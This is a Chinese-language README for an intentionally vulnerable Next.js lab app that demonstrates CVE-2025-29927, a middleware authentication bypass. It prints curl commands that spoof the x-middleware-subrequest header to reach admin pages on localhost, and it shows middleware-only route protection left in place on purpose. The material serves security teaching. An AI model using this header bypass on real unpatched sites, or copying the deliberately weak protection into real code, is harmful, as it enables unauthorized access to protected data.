
警告:此应用程序故意存在漏洞。仅用于教育和授权的安全研究目的。请勿部署到公共服务器。
此应用程序演示了 CVE-2025-29927,这是 Next.js 中间件中的一个关键身份验证绕过漏洞(CVSS 9.1)。该应用程序模拟了一个虚构公司 "Himalaya Tech Pvt. Ltd." 的真实企业级管理员面板,使绕过的影响在视觉上更具说服力。
所有显示的员工记录、API 密钥、数据库凭据以及其他“敏感”数据 完全是虚构和模拟的 —— 仅用于教育演示目的。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-29927 |
| 严重性 | 严重(CVSS 9.1) |
| 影响版本 | Next.js ≤ 14.2.29, Next.js ≤ 15.2.2 |
| 修复版本 | Next.js 14.2.30, 15.2.3 |
| 类型 | 通过 HTTP 头部操作绕过中间件身份验证 |
Next.js 使用内部 HTTP 头部 x-middleware-subrequest 来跟踪递归中间件调用并防止无限循环。在受影响版本中,攻击者可以在外部请求中 伪造此头部。当该头部存在且匹配中间件的标识符时,Next.js 运行时会 完全跳过中间件,包括其中定义的所有身份验证逻辑。
任何仅依赖 middleware.ts 保护路由的应用程序(一种常见且推荐的 Next.js 模式)都存在漏洞。未经身份验证的攻击者只需添加一个 HTTP 头部即可访问任何受保护页面。
curl -v http://localhost:3000/admin
# → 307 重定向到 /login
curl -v \
-H "x-middleware-subrequest: middleware" \
http://localhost:3000/admin
# → 200 OK — 返回完整管理仪表板 HTML,无需身份验证
# 管理员用户页面
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users
# 系统设置(含“生产凭据”)
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings
向任何对 /admin/* 的请求添加请求头 x-middleware-subrequest: middleware,中间件检查将被跳过。
middleware.ts 是 唯一的 保护机制:
// middleware.ts
export function middleware(request: NextRequest) {
if (pathname.startsWith("/admin")) {
const token = request.cookies.get("auth-token")?.value;
if (!token || token !== "valid-session-xyz123") {
return NextResponse.redirect(loginUrl); // ← 整个函数被跳过
}
}
return NextResponse.next();
}
页面组件本身(例如 app/admin/page.tsx)不包含任何身份验证检查 —— 这是故意设计的,以模拟遵循仅中间件保护模式的真实世界应用程序。
npm install
npm run dev
应用程序将在 http://localhost:3000 可用。
*仅通过中间件保护 — CVE-2025-29927 可绕过。
[email protected]Admin@2024此应用程序仅供 教育目的 使用,特别用于在道德安全课程环境中展示 CVE-2025-29927 的真实影响。所有数据(员工记录、API 密钥、凭据)完全是虚构的。请勿将此演示应用程序或此处演示的技术用于非您拥有或未获明确许可测试的系统。
| 路由 | 需要身份验证 | 描述 |
|---|
/ | 否 | 公共登录页 |
/login | 否 | 登录表单 |
/admin | 是* | 包含敏感数据的管理仪表板 |
/admin/users | 是* | 用户管理 |
/admin/settings | 是* | 系统设置与凭据 |